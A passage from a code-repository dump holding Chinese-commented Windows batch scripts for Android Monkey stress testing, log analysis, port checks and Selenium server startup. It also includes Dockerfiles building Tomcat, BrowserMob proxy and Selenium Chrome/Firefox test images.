111 | ECHO.[ INFO ] 分析Monkey日志存在: 异常
112 |
113 | ECHO.[ INFO ] ------------------------------------
114 |
115 | ECHO. "%strException%"
116 |
117 | SET /a blnException+=1
118 |
119 | )
120 |
121 |
122 |
123 | IF NOT "%strFinished%" == "" (
124 |
125 | ECHO.[ INFO ] 分析Monkey日志存在: 执行成功标记
126 |
127 | ECHO.[ INFO ] ------------------------------------
128 |
129 | ECHO. "%strFinished%"
130 |
131 | ECHO.
132 |
133 | ) ELSE (
134 |
135 | IF %blnException% EQU 0 ECHO.[ INFO ] 分析Monkey日志结果: Monkey执行异常中断,请重新执行Monkey脚本!
136 |
137 | ECHO.
138 |
139 | )
140 |
141 |
142 |
143 | REM 如果blnException不为0,说明存在异常,改变字体为淡紫色
144 |
145 | IF %blnException% NEQ 0 (
146 |
147 | Color 0D
148 |
149 | ECHO.[ INFO ] 分析Monkey日志结果:存在异常日志,请手工再仔细检查!
150 |
151 | ECHO.
152 |
153 | ) ELSE (
154 |
155 | ECHO.[ INFO ] 分析Monkey日志结果:正常
156 |
157 | ECHO.
158 |
159 | )
160 |
161 | ECHO.
162 |
163 | ECHO.[ EXIT ] 按任意键关闭窗口...
164 |
165 | PAUSE>nul
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_no_env/monkey_log_analysis.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
4 |
5 | ECHO.:: 分析Monkey日志 ::
6 |
7 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
8 |
9 | REM 方法一:手动设置Monkey日志路径
10 |
11 | SET monkeyLogFile=F:\Monkey\20140808\FindyouV1.0.0\20140825181801_monkey.log
12 |
13 |
14 |
15 | REM 方法二:直接将Monkey日志拖到此bat文件上
16 |
17 | IF NOT "%1"=="" SET monkeyLogFile=%1
18 |
19 |
20 |
21 | ECHO.[ INFO ] Monkey日志: %monkeyLogFile%
22 |
23 | ECHO.[ INFO ] 开始分析
24 |
25 | SET blnException=0
26 |
27 | ECHO.
28 |
29 | ECHO.
30 |
31 | REM 如果觉得分析太快,没有感觉,把下面注释去掉假装分析中,有停顿感
32 |
33 | REM ping -n 2 127.0.0.1>nul
34 |
35 |
36 |
37 | ::ANR日志
38 |
39 | FOR /F "delims=" %%a IN ('FINDSTR /C:"ANR" %monkeyLogFile%') DO (
40 |
41 | SET strANR=%%a
42 |
43 | )
44 |
45 |
46 |
47 | ::崩溃日志
48 |
49 | FOR /F "delims=" %%a IN ('FINDSTR /C:"CRASH" %monkeyLogFile%') DO (
50 |
51 | SET strCRASH=%%a
52 |
53 | )
54 |
55 |
56 |
57 | ::异常日志
58 |
59 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Exception" %monkeyLogFile%') DO (
60 |
61 | SET strException=%%a
62 |
63 | )
64 |
65 |
66 |
67 | ::正常
68 |
69 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Monkey finished" %monkeyLogFile%') DO (
70 |
71 | SET strFinished=%%a
72 |
73 | )
74 |
75 |
76 |
77 | IF NOT "%strANR%" == "" (
78 |
79 | ECHO.[ INFO ] 分析Monkey日志存在: ANR
80 |
81 | ECHO.[ INFO ] ------------------------------------
82 |
83 | ECHO. "%strANR%"
84 |
85 | SET /a blnException+=1
86 |
87 | ECHO.
88 |
89 | )
90 |
91 |
92 |
93 | IF NOT "%strCRASH%" == "" (
94 |
95 | ECHO.[ INFO ] 分析Monkey日志存在: CRASH
96 |
97 | ECHO.[ INFO ] ------------------------------------
98 |
99 | ECHO. "%strCRASH%"
100 |
101 | SET /a blnException+=1
102 |
103 | ECHO.
104 |
105 | )
106 |
107 |
108 |
109 | IF NOT "%strException%" == "" (
110 |
111 | ECHO.[ INFO ] 分析Monkey日志存在: 异常
112 |
113 | ECHO.[ INFO ] ------------------------------------
114 |
115 | ECHO. "%strException%"
116 |
117 | SET /a blnException+=1
118 |
119 | )
120 |
121 |
122 |
123 | IF NOT "%strFinished%" == "" (
124 |
125 | ECHO.[ INFO ] 分析Monkey日志存在: 执行成功标记
126 |
127 | ECHO.[ INFO ] ------------------------------------
128 |
129 | ECHO. "%strFinished%"
130 |
131 | ECHO.
132 |
133 | ) ELSE (
134 |
135 | IF %blnException% EQU 0 ECHO.[ INFO ] 分析Monkey日志结果: Monkey执行异常中断,请重新执行Monkey脚本!
136 |
137 | ECHO.
138 |
139 | )
140 |
141 |
142 |
143 | REM 如果blnException不为0,说明存在异常,改变字体为淡紫色
144 |
145 | IF %blnException% NEQ 0 (
146 |
147 | Color 0D
148 |
149 | ECHO.[ INFO ] 分析Monkey日志结果:存在异常日志,请手工再仔细检查!
150 |
151 | ECHO.
152 |
153 | ) ELSE (
154 |
155 | ECHO.[ INFO ] 分析Monkey日志结果:正常
156 |
157 | ECHO.
158 |
159 | )
160 |
161 | ECHO.
162 |
163 | ECHO.[ EXIT ] 按任意键关闭窗口...
164 |
165 | PAUSE>nul
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_script.bat:
--------------------------------------------------------------------------------
1 | # adb shell monkey -v --throttle 300 --pct-touch 30 --pct-motion 20 --pct-nav 20 --pct-majornav 15 --pct-appswitch 5 --pct-anyevent 5 --pct-trackball 0 --pct-syskeys 0 -p com.yykk.phone 1000
2 | # monkey --monitor-native-crashes --kill-process-after-error --pct-trackball 0 --pct-nav 10 --pct-anyevent 10 -v -v --throttle 500 -p com.yykk.phone 5880000 >>/sdcard/log.log 2>>/sdcard/log_err.log
3 | adb shell monkey --monitor-native-crashes --kill-process-after-error --pct-trackball 0 --pct-nav 10 --pct-anyevent 10 -v -v --throttle 500 -p com.yykk.phone 5880000 > d:\apadlog.txt
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_with_config.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
4 | ECHO.:: Monkey测试 ::
5 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
6 |
7 | IF NOT EXIST %~dp0\config.conf GOTO EXIT
8 |
9 | ECHO.[ INFO ] 准备Monkey测试
10 |
11 | ECHO.[ INFO ] 读取config.conf中信息
12 |
13 | REM 从配置文件中获得包名
14 |
15 | FOR /F "tokens=1,2 delims==" %%a in (config.conf) do (
16 |
17 | IF %%a == packageName SET packageName=%%b
18 |
19 | IF %%a == appEnName SET appEnName=%%b
20 |
21 | IF %%a == appversion SET appversion=%%b
22 |
23 | )
24 |
25 |
26 | REM 获取日期,格式为:20140808
27 |
28 | SET c_date=%date:~0,4%%date:~5,2%%date:~8,2%
29 |
30 |
31 | REM 获取得小时,格式为:24小时制,10点前补0
32 |
33 | SET c_time=%time:~0,2%
34 |
35 | IF /i %c_time% LSS 10 (
36 |
37 | SET c_time=0%time:~1,1%
38 |
39 | )
40 |
41 |
42 | REM 组合小时、分、秒,格式为: 131420
43 |
44 | SET c_time=%c_time%%time:~3,2%%time:~6,2%
45 |
46 | REM 将当运行时间点做为日志文件名
47 |
48 | SET logfilename=%c_date%%c_time%
49 |
50 |
51 | REM 创建当天日期目录及测试APP日志保存目录
52 |
53 | IF NOT EXIST %~dp0\%c_date% md %~dp0\%c_date%
54 |
55 | SET logdir="%~dp0\%c_date%\%appEnName%%appversion%"
56 |
57 | IF NOT EXIST %logdir% (
58 |
59 | ECHO.[ Exec ] 创建目录:%c_date%\%appEnName%%appversion%
60 |
61 | md %logdir%
62 |
63 | )
64 |
65 |
66 |
67 | REM 获得手机信息,显示并保存
68 |
69 | adb shell cat /system/build.prop>phone.info
70 |
71 | FOR /F "tokens=1,2 delims==" %%a in (phone.info) do (
72 |
73 | IF %%a == ro.build.version.release SET androidOS=%%b
74 |
75 | IF %%a == ro.product.model SET model=%%b
76 |
77 | IF %%a == ro.product.brand SET brand=%%b
78 |
79 | )
80 |
81 | del /a/f/q phone.info
82 |
83 | ECHO.[ INFO ] 读取Phone信息
84 |
85 | ECHO. 手机品牌: %brand%
86 |
87 | ECHO. 手机型号: %model%
88 |
89 | ECHO. 系统版本: Android %androidOS%
90 |
91 | ECHO.Phone信息>"%logdir%\%logfilename%_%model%.txt"
92 |
93 | ECHO.手机品牌: %brand%>>"%logdir%\%logfilename%_%model%.txt"
94 |
95 | ECHO.手机型号: %model%>>"%logdir%\%logfilename%_%model%.txt"
96 |
97 | ECHO.系统版本: Android %androidOS%>>"%logdir%\%logfilename%_%model%.txt"
98 |
99 |
100 |
101 | ECHO.
102 |
103 | ECHO.[ Exec ] 使用Logcat清空Phone中log
104 |
105 | adb logcat -c
106 |
107 | REM ECHO.[ INFO ] 暂停2秒...
108 |
109 | ping -n 2 127.0.0.1>nul
110 |
111 | ECHO.
112 |
113 | ECHO.[ INFO ] 开始执行Monkey命令
114 |
115 | REM ECHO.[ INFO ] 强制关闭准备测试的APP
116 |
117 | adb shell am force-stop %packageName%
118 |
119 |
120 |
121 | :::::::::::::::::Monkey测试命令::::::::::::::::::::::::
122 |
123 | ::::::::::::修改策略请仅在此区域内修改:::::::::::::::::
124 |
125 | ECHO.[ Exec ] adb shell monkey -p %packageName% -s %c_time% --throttle 500 -v -v -v 10000
126 |
127 |
128 |
129 | adb shell monkey -p %packageName% -s %c_time% --throttle 500 -v -v -v 10000>%logdir%\%logfilename%_monkey.log
130 |
131 |
132 |
133 | ::::::::::::修改策略请仅在此区域内修改:::::::::::::::::
134 |
135 | ::::::::::::::::::::::END::::::::::::::::::::::::::::::
136 |
137 | ECHO.[ INFO ] 执行Monkey命令结束
138 |
139 | ECHO.
140 |
141 |
142 |
143 | ECHO.[ Exce ] 手机截屏
144 |
145 | adb shell screencap -p /sdcard/monkey_run_end.png
146 |
147 | ECHO.[ INFO ] 拷贝截屏图片至电脑
148 |
149 | adb pull /sdcard/monkey_run_end.png %logdir%
150 |
151 | cd %logdir%
152 |
153 | ren monkey_run_end.png %logfilename%.png
154 |
155 |
156 |
157 | ECHO.
158 |
159 | ECHO.[ Exec ] 使用Logcat导出日志
160 |
161 | adb logcat -d >%logdir%\%logfilename%_logcat.log
162 |
163 |
164 |
165 | REM ECHO.
166 |
167 | REM ECHO.[ Exec ] 导出traces文件
168 |
169 | REM adb shell cat /data/anr/traces.txt>%logfilename%_traces.log
170 |
171 |
172 |
173 | REM 待扩展,上传日志至服务器
174 |
175 |
176 |
177 | :EXIT
178 |
179 | ECHO.
180 |
181 | ECHO.[ INFO ] 请按任意键关闭窗口...
182 | PAUSE>nul
183 |
--------------------------------------------------------------------------------
/bat/selenium-server.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | if "%1" == "h" goto begin
3 | mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
4 | :begin
5 | chcp 65001
6 | setlocal enabledelayedexpansion
7 | :: 设置端口号
8 | set port=5037
9 | :: 设置当前目录下的文件名
10 | set filepath="node.log"
11 | :: 设置taskkill /f /pid !pid!
12 | for /f "tokens=1-5" %%a in ('netstat -ano ^| findstr LISTENING ^| findstr ":%port%"') do (
13 | if "%%e%" == "" (
14 | set pid=%%d
15 | ) else (
16 | set pid=%%e
17 | )
18 | echo !pid! service is running
19 | taskkill /f /pid !pid!
20 | goto delefile
21 | echo ===================
22 | )
23 | :: 查看是否有某个文件并将其删除,并检查
24 | :delefile
25 | if exist %filepath% (
26 | echo %filepath% is exist
27 | del %filepath%
28 | goto delefile
29 | ) else (
30 | echo %filepath% is not exist
31 | )
32 | :: 启动node服务,不同的情况不同设置 注意不同的项目有不同的路径
33 | start /b java -jar selenium-server-standalone-2.53.1.jar -Dwebdriver.chrome.driver="driver/chromedriver.exe" -browser browserName="chrome" -log node.log
--------------------------------------------------------------------------------
/bat/service_port_chk.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | rem 端口占用检测工具
3 | rem gcy
4 | rem 20150701
5 | rem V1.2
6 | setlocal enabledelayedexpansion
7 | REM mode con lines=10 cols=55
8 | :listen
9 | set /p listen=请输入服务端口号:
10 | (for /f "delims=: tokens=2,3" %%i in ('netstat -ano -p TCP') do (
11 | echo %%i %%j
12 | ))>"netstat.txt"
13 | findstr /C:"%listen%" netstat.txt>nul
14 | if not errorlevel 0 goto notused else goto used
15 | :used
16 | (for /f "tokens=1,5" %%j in ('findstr /C:"%listen%" netstat.txt') do (
17 | echo %%j %%k
18 | ))>"netstat_port.txt"
19 | for /f "tokens=1*" %%j in ('type "netstat_port.txt"') do (
20 | if %%j==%listen% (
21 | echo.
22 | REM echo %listen% 端口已被PID为[%%k]的进程占用
23 | TASKLIST /FI "PID eq %%k"
24 | echo.
25 | del "netstat.txt"
26 | del "netstat_port.txt"
27 | goto listen
28 | ))
29 | :notused
30 | echo.
31 | echo %listen% 端口未被占用
32 | echo.
33 | del "netstat.txt"
34 | del "netstat_port.txt"
35 | goto listen
--------------------------------------------------------------------------------
/bat/test-datetime-1.bat:
--------------------------------------------------------------------------------
1 | :: 脚本创建时最好选择GB2312编码(方式很简单,新建txt文件,输入几个中文字符保存后将后缀.txt改成.bat)
2 | :: @echo off 表示不回显执行的命令
3 | @echo off
4 | @echo =========Windows的原本日期时间格式=======================
5 | :: 设置变量,使用变量时需要用一对%包起来
6 | set ORIGINAL_DATE=%date%
7 | echo %ORIGINAL_DATE%
8 |
9 | @echo =========日期按照YYYY-MM-DD格式显示======================
10 | :: 日期截取遵从格式 %date:~x,y%,表示从第x位开始,截取y个长度(x,y的起始值为0)
11 | :: windows下DOS窗口date的结果 2016/09/03 周六
12 | :: 年份从第0位开始截取4位,月份从第5位开始截取2位,日期从第8位开始截取2位
13 | set CURRENT_DATE=%date:~0,4%-%date:~5,2%-%date:~8,2%
14 | echo %CURRENT_DATE%
15 |
16 | @echo =========时间按照HH:MM:SS格式显示========================
17 | :: 时间截取遵从格式 %time:~x,y%,表示从第x位开始,截取y个长度(x,y的起始值为0)
18 | :: windows下DOS窗口time的结果 12:05:49.02
19 | :: 时钟从第0位开始截取2位,分钟从第3位开始截取2位,秒钟从第6位开始截取2位
20 | set CURRENT_TIME=%time:~0,2%:%time:~3,2%:%time:~6,2%
21 | echo %CURRENT_TIME%
22 |
23 | @echo =========日期时间按照YYYY-MM-DD HH:MM:SS格式显示=========
24 | set CURRENT_DATE_TIME=%date:~0,4%-%date:~5,2%-%date:~8,2%-%time:~0,2%:%time:~3,2%:%time:~6,2%
25 | echo %CURRENT_DATE_TIME%
26 |
27 | @echo =========日期时间按照YYYYMMDD_HHMMSS格式显示=============
28 | set CURRENT_DATE_TIME_STAMP=%date:~0,4%%date:~5,2%%date:~8,2%_%time:~0,2%%time:~3,2%%time:~6,2%
29 | echo %CURRENT_DATE_TIME_STAMP%
30 | @echo =========================================================
--------------------------------------------------------------------------------
/bat/test-datetime.bat:
--------------------------------------------------------------------------------
1 | :: 编码格式 GB2312
2 | :: 脚本创建时最好选择GB2312编码(方式很简单,新建txt文件,输入几个中文字符保存后将后缀.txt改成.bat)
3 | :: @echo off 表示不回显执行的命令
4 | @echo off
5 | @echo =========Windows的原本日期时间格式=======================
6 | :: 设置变量,使用变量时需要用一对%包起来
7 | set ORIGINAL_DATE=%date%
8 | echo %ORIGINAL_DATE%
9 |
10 | @echo =========日期按照YYYY-MM-DD格式显示======================
11 | :: 日期截取遵从格式 %date:~x,y%,表示从第x位开始,截取y个长度(x,y的起始值为0)
12 | :: windows下DOS窗口date的结果 2016/09/03 周六
13 | :: 年份从第0位开始截取4位,月份从第5位开始截取2位,日期从第8位开始截取2位
14 |
15 | set YEAR=%date:~0,4%
16 | set MONTH=%date:~5,2%
17 | set DAY=%date:~8,2%
18 | set CURRENT_DATE=%YEAR%-%MONTH%-%DAY%
19 | echo %CURRENT_DATE%
20 |
21 | @echo =========时间按照HH:MM:SS格式显示========================
22 | :: 时间截取遵从格式 %time:~x,y%,表示从第x位开始,截取y个长度(x,y的起始值为0)
23 | :: windows下DOS窗口time的结果 12:05:49.02
24 | :: 时钟从第0位开始截取2位,分钟从第3位开始截取2位,秒钟从第6位开始截取2位
25 |
26 | set HOUR=%time:~0,2%
27 | set MINUTE=%time:~3,2%
28 | set SECOND=%time:~6,2%
29 |
30 | :: 当时钟小于等于9时,前面有个空格,这时我们少截取一位,从第1位开始截取
31 | set TMP_HOUR=%time:~1,1%
32 | set NINE=9
33 | set ZERO=0
34 | :: 处理时钟是个位数的时候前面补上一个0, LEQ表示小于等于
35 | if %HOUR% LEQ %NINE% set HOUR=%ZERO%%TMP_HOUR%
36 |
37 | set CURRENT_TIME=%HOUR%:%MINUTE%:%SECOND%
38 | echo %CURRENT_TIME%
39 |
40 | @echo =========日期时间按照YYYY-MM-DD HH:MM:SS格式显示=========
41 | set CURRENT_DATE_TIME=%YEAR%-%MONTH%-%DAY% %HOUR%:%MINUTE%:%SECOND%
42 | echo %CURRENT_DATE_TIME%
43 |
44 | @echo =========日期时间按照YYYYMMDD_HHMMSS格式显示=============
45 | set CURRENT_DATE_TIME_STAMP=%YEAR%%MONTH%%DAY%_%HOUR%%MINUTE%%SECOND%
46 | echo %CURRENT_DATE_TIME_STAMP%
47 | @echo =========================================================
48 | rem 获取周几
49 |
50 | set week=%DATE:~-2,-1%
51 |
52 | echo %week%
--------------------------------------------------------------------------------
/bat/virtual_wifi_start.bat:
--------------------------------------------------------------------------------
1 | netsh wlan start hostednetwork
--------------------------------------------------------------------------------
/bat/virtual_wifi_stop.bat:
--------------------------------------------------------------------------------
1 | netsh wlan stop hostednetwork
--------------------------------------------------------------------------------
/bat/win-port-open.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | color 1f
3 | Title XP端口-进程查询
4 | setlocal enabledelayedexpansion
5 | echo ╔- -╗
6 | echo 本机开放的端口及使用该端口的进程
7 | echo ╚- -╝
8 | echo ------------------------------------
9 | echo 端口号 进程名称
10 | ECHO TCP协议:
11 | ::利用netstat命令找出使用TCP协议通信的端口,并将结果分割;
12 | ::将第二个参数(IP加端口)传给%%i,第五个参数(PID号)传给%%j;
13 | for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
14 | call :Assoc %%i TCP %%j
15 | echo !TCP_Port! !TCP_Proc_Name!
16 | )
ECHO UDP协议:
17 | for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
18 | call :Assoc %%i UDP %%j
19 | echo !UDP_Port! !UDP_Proc_Name!
20 | )
21 | echo 按任意键退出
22 | pause>nul
:Assoc
23 | ::对%1(第一个参数)进行分割,将第二个参数传给%%e。在本程序中,%1即为上面的%%i(形式为:IP:端口号)
24 | for /F "tokens=2 delims=:" %%e in ("%1") do (
25 | set %2_Port=%%e
26 | )
27 | :: 查询PID等于%3(第三个参数)的进程,并将结果传给变量?_Proc_Name,?代表UDP或者TCP;
28 | for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
29 | ::%%~a表示去掉%%a外面的引号,因为上述命令的结果是用括号括起来的。
30 | set %2_Proc_Name=%%~a
31 | )
--------------------------------------------------------------------------------
/docker/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/.DS_Store
--------------------------------------------------------------------------------
/docker/Dockerfile/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/.DS_Store
--------------------------------------------------------------------------------
/docker/Dockerfile/base/base-tomcat-8:
--------------------------------------------------------------------------------
1 | FROM docker.qadev.com/official/debian:buster-20210111-slim
2 |
3 | LABEL maintainer="jayzhen@qadev-inc.com"
4 | LABEL use-for="tomcat"
5 | LABEL version="debian-buster-20210111-slim"
6 |
7 | ADD ./lib/jdk-8u271-linux-x64.tar.gz /usr/local/
8 | ADD ./lib/apache-tomcat-8.5.61.tar.gz /usr/local/
9 |
10 | ENV JAVA_HOME /usr/local/jdk1.8.0_271
11 | ENV CLASSPATH $JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
12 | ENV CATALINA_HOME /usr/local/apache-tomcat-8.5.61
13 | ENV CATALINA_BASE /usr/local/apache-tomcat-8.5.61
14 | ENV PATH $PATH:$JAVA_HOME/bin:$CATALINA_HOME/lib:$CATALINA_HOME/bin
15 |
16 | RUN cd $CATALINA_HOME && rm -rf ./webapps && mkdir webapps \
17 | && chmod -R +rX . \
18 | && chmod 777 logs temp work
19 |
20 | WORKDIR $CATALINA_HOME
21 |
22 | EXPOSE 8080
23 |
24 | CMD ["catalina.sh", "run"]
25 |
--------------------------------------------------------------------------------
/docker/Dockerfile/browsermob/browsermob:
--------------------------------------------------------------------------------
1 | FROM openjdk:8u262-slim
2 |
3 | MAINTAINER jayzhen
4 |
5 | ADD browsermob-proxy-2.1.4/ /usr/src/
6 |
7 | WORKDIR /usr/src
8 |
9 | EXPOSE 8080
10 | EXPOSE 11033-11022
11 |
12 | CMD ["/usr/src/bin/browsermob-proxy","-port","8080"]
13 |
--------------------------------------------------------------------------------
/docker/Dockerfile/browsermob/browsermob-proxy-2.1.4-bin.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/browsermob/browsermob-proxy-2.1.4-bin.zip
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/chrome/.DS_Store
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/2.53.1/chrome-dbg-zh-2.53.1:
--------------------------------------------------------------------------------
1 | FROM selenium/standalone-chrome-debug:2.53.1
2 | MAINTAINER jayzhen
3 |
4 | USER seluser
5 |
6 | #==============================
7 | # Generating the VNC password as seluser
8 | # So the service can be started with seluser
9 | #==============================
10 |
11 | RUN mkdir -p ~/.vnc \
12 | && x11vnc -storepasswd 123456 ~/.vnc/passwd
13 |
14 | USER root
15 |
16 | #=====
17 | # chinese
18 | #=====
19 |
20 | RUN apt-get update \
21 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \
22 | && apt-get clean \
23 |
24 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/2.53.1/chrome-zh-2.53.1:
--------------------------------------------------------------------------------
1 | FROM selenium/standalone-chrome:2.53.1
2 | MAINTAINER jayzhen
3 |
4 | USER root
5 |
6 | #====================
7 | # chinese and No Gui
8 | #====================
9 |
10 | RUN apt-get update \
11 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \
12 | && apt-get -y install vim \
13 | && apt-get clean
14 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.0/chrome-dbg-zh-3.141:
--------------------------------------------------------------------------------
1 | FROM selenium/standalone-chrome-debug:3.141.0
2 | MAINTAINER jayzhen
3 |
4 | USER root
5 |
6 | #=============
7 | # chinese
8 | #=============
9 |
10 | RUN apt-get update \
11 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \
12 | && apt-get -y install vim \
13 | && apt-get -y install cron \
14 | && apt-get clean
15 |
16 | #ADD crontab /etc/cron.d/cron-file
17 | #RUN chmod 0644 /etc/cron.d/cron-file
18 | #RUN touch /var/log/cron.log
19 | #RUN crontab /etc/cron.d/cron-file
20 | #RUN crontab -l
21 |
22 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.0/chrome-dbg-zh-3.141.59:
--------------------------------------------------------------------------------
1 | FROM selenium/standalone-chrome-debug:3.141.59
2 | MAINTAINER jayzhen
3 |
4 |
5 | # 改变node的启动参数
6 |
7 | ENV NODE_MAX_INSTANCES 5
8 | ENV NODE_MAX_SESSION 5
9 |
10 | USER root
11 |
12 | #=============
13 | # chinese
14 | #=============
15 |
16 | RUN apt-get update \
17 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \
18 | && apt-get -y install vim \
19 | && apt-get -y install cron \
20 | && apt-get clean
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.0/uts-hub-3.141:
--------------------------------------------------------------------------------
1 | FROM selenium/hub:3.141.0
2 |
3 | LABEL authors="jwensh "
4 |
5 | USER root
6 |
7 | #=============
8 | # chinese
9 |
10 | RUN apt-get update \
11 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \
12 | && apt-get -y install vim \
13 | && apt-get -y install cron \
14 | && apt-get clean
15 |
16 |
17 |
18 | #=============
19 | # ulimit
20 |
21 | RUN echo 'root hard core 0' >> /etc/security/limits.conf \
22 | && echo 'root soft core 0' >> /etc/security/limits.conf
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.0/uts-node-chrome-3.141:
--------------------------------------------------------------------------------
1 | FROM selenium/node-chrome-debug:3.141.0
2 |
3 | LABEL authors="jwensh "
4 |
5 | USER root
6 |
7 | #=============
8 | # chinese
9 | #=============
10 |
11 | RUN apt-get update \
12 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \
13 | && apt-get -y install vim \
14 | && apt-get -y install cron \
15 | && apt-get clean
16 |
17 |
18 | #=============
19 | # ulimit
20 |
21 | RUN echo 'root hard core 0' >> /etc/security/limits.conf \
22 | && echo 'root soft core 0' >> /etc/security/limits.conf
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.0/uts-node-firefox-3.141:
--------------------------------------------------------------------------------
1 | FROM selenium/node-firefox-debug:3.141.0
2 |
3 | LABEL authors="jwensh "
4 |
5 | USER root
6 |
7 | #=============
8 | # chinese
9 | #=============
10 |
11 | RUN apt-get update \
12 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \
13 | && apt-get -y install vim \
14 | && apt-get -y install cron \
15 | && apt-get clean
16 |
17 | #=============
18 | # ulimit
19 |
20 | RUN echo 'root hard core 0' >> /etc/security/limits.conf \
21 | && echo 'root soft core 0' >> /etc/security/limits.conf
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.5-test/chrome-dbg-zh-3.141.5:
--------------------------------------------------------------------------------
1 | FROM selenium/node-base:3.141.5-astatine
2 | LABEL authors=jwensh
3 | MAINTAINER jayzhen
4 |
5 |
6 | # 改变node的启动参数
7 | ENV NODE_MAX_INSTANCES 5
8 | ENV NODE_MAX_SESSION 5
9 |
10 |
11 | #============================================
12 | # selenium/node-chrome:3.141.5-astatine
13 | #============================================
14 |
15 |
16 | USER root
17 |
18 | #============================================
19 | # Google Chrome
20 | #============================================
21 |
22 | COPY linux_signing_key.pub /opt/selenium/linux_signing_key.pub
23 |
24 | ARG CHROME_VERSION="google-chrome-stable"
25 | # RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
26 | RUN apt-key add /opt/selenium/linux_signing_key.pub \
27 | && echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list \
28 | && apt-get update -qqy \
29 | && apt-get -qqy install \
30 | ${CHROME_VERSION:-google-chrome-stable} \
31 | && rm /etc/apt/sources.list.d/google-chrome.list \
32 | && rm -rf /var/lib/apt/lists/* /var/cache/apt/*
33 |
34 | #=================================
35 | # Chrome Launch Script Wrapper
36 | #=================================
37 | COPY wrap_chrome_binary /opt/bin/wrap_chrome_binary
38 | RUN /opt/bin/wrap_chrome_binary
39 |
40 | USER seluser
41 |
42 | #============================================
43 | # Chrome webdriver
44 | #============================================
45 |
46 | ARG CHROME_DRIVER_VERSION="latest"
47 | RUN CD_VERSION=$(if [ ${CHROME_DRIVER_VERSION:-latest} = "latest" ]; then echo $(wget -qO- https://chromedriver.storage.googleapis.com/LATEST_RELEASE); else echo $CHROME_DRIVER_VERSION; fi) \
48 | && echo "Using chromedriver version: "$CD_VERSION \
49 | && wget --no-verbose -O /tmp/chromedriver_linux64.zip https://chromedriver.storage.googleapis.com/$CD_VERSION/chromedriver_linux64.zip \
50 | && rm -rf /opt/selenium/chromedriver \
51 | && unzip /tmp/chromedriver_linux64.zip -d /opt/selenium \
52 | && rm /tmp/chromedriver_linux64.zip \
53 | && mv /opt/selenium/chromedriver /opt/selenium/chromedriver-$CD_VERSION \
54 | && chmod 755 /opt/selenium/chromedriver-$CD_VERSION \
55 | && sudo ln -fs /opt/selenium/chromedriver-$CD_VERSION /usr/bin/chromedriver
56 |
57 | COPY generate_config /opt/bin/generate_config
58 |
59 | # Generating a default config during build time
60 | RUN /opt/bin/generate_config > /opt/selenium/config.json
61 |
62 |
63 | #============================================
64 | # selenium/node-chrome:3.141.5-astatine
65 | #============================================
66 | USER root
67 |
68 | #=====
69 | # VNC
70 | #=====
71 | RUN apt-get update -qqy \
72 | && apt-get -qqy install \
73 | x11vnc \
74 | && rm -rf /var/lib/apt/lists/* /var/cache/apt/*
75 |
76 | #=========
77 | # fluxbox
78 | # A fast, lightweight and responsive window manager
79 | #=========
80 | RUN apt-get update -qqy \
81 | && apt-get -qqy install \
82 | fluxbox \
83 | && rm -rf /var/lib/apt/lists/* /var/cache/apt/*
84 |
85 | USER seluser
86 |
87 | #==============================
88 | # Generating the VNC password as seluser
89 | # So the service can be started with seluser
90 | #==============================
91 |
92 | RUN mkdir -p ${HOME}/.vnc \
93 | && x11vnc -storepasswd secret ${HOME}/.vnc/passwd
94 |
95 | #==========
96 | # Relaxing permissions for OpenShift and other non-sudo environments
97 | #==========
98 | RUN sudo chmod -R 777 ${HOME} \
99 | && sudo chgrp -R 0 ${HOME} \
100 | && sudo chmod -R g=u ${HOME}
101 |
102 | #==============================
103 | # Scripts to run fluxbox and x11vnc
